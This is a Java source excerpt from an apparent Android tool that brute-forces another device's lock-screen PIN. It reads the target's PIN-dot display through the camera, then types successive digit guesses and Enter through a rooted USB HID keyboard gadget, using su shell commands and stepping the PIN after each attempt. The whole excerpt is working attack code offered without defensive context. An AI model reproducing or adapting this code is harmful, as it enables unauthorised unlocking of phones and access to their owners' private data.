private void initCamera() {
SurfaceView cameraSurface = (SurfaceView) findViewById(R.id.surface_camera);
cameraView_ = new CameraView(cameraSurface);
cameraView_.setCameraReadyCallback(this);
overlayView_ = (OverlayView) findViewById(R.id.surface_overlay);
overlayView_.setOnTouchListener(this);
overlayView_.setUpdateDoneCallback(this);
}
public void onPreviewFrame(byte[] frame, Camera c) {
if (!inProcessing) {
inProcessing = true;
int picWidth = cameraView_.Width();
int picHeight = cameraView_.Height();
ByteBuffer bbuffer = ByteBuffer.wrap(frame);
try {
bbuffer.get(preFrame, 0, picWidth * picHeight + picWidth * picHeight / 2);
int numFilled = 0;
int y = picHeight / 2;
for (int i = 0; i < PIN_LENGTH; i++) {
int x =
picWidth / 2 + (int) ((i + 0.5f - PIN_LENGTH / 2) * SYMBOL_SPACING * picWidth);
int p = 0;
// Take 4 nearby pixels, to filter out noise
p += preFrame[picWidth * y + x] & 0xFF;
p += preFrame[picWidth * y + x + 1] & 0xFF;
p += preFrame[picWidth * (y + 1) + x] & 0xFF;
p += preFrame[picWidth * (y + 1) + x + 1] & 0xFF;
p /= 4;
pinEntered[i] = (p < BRIGHTNESS_THRESHOLD);
if (pinEntered[i]) numFilled++;
}
overlayView_.invalidate();
if (System.currentTimeMillis() > delay) {
delay = System.currentTimeMillis() + SEND_DELAY;
if (sendEnter && numFilled == 0) {
sendEnter = false;
currentPin++;
runOnUiThread(
new Runnable() {
public void run() {
tvMessage2.setText("PIN: " + currentPin);
}
});
}
if (sendEnter && numFilled == PIN_LENGTH) {
final String[] cmd = {
"/system/bin/sh",
"-c",
"echo 'echo enter | "
+ getFilesDir().getAbsolutePath()
+ "/hid-gadget-test /dev/hidg0 keyboard' | su"
};
runOnUiThread(
new Runnable() {
public void run() {
tvMessage2.setText("PIN: " + currentPin + " - sending Enter");
}
});
Runtime.getRuntime().exec(cmd).waitFor();
}
if (!sendEnter && numFilled == PIN_LENGTH) {
sendEnter = true;
}
if (!sendEnter && numFilled < PIN_LENGTH) {
final int digit =
(currentPin / (int) Math.pow(10, PIN_LENGTH - numFilled - 1)) % 10;
final int pos = numFilled + 1;
final String[] cmd = {
"/system/bin/sh",
"-c",
"echo 'echo "
+ digit
+ " | "
+ getFilesDir().getAbsolutePath()
+ "/hid-gadget-test /dev/hidg0 keyboard' | su"
};
runOnUiThread(
new Runnable() {
public void run() {
tvMessage2.setText(
"PIN: "
+ String.format("%04d", currentPin)
+ " - sending digit #"
+ pos
+ " : "
+ digit);
}
});
Runtime.getRuntime().exec(cmd).waitFor();
}
}
} catch (Exception e) {
e.printStackTrace();
}
inProcessing = false;
}
}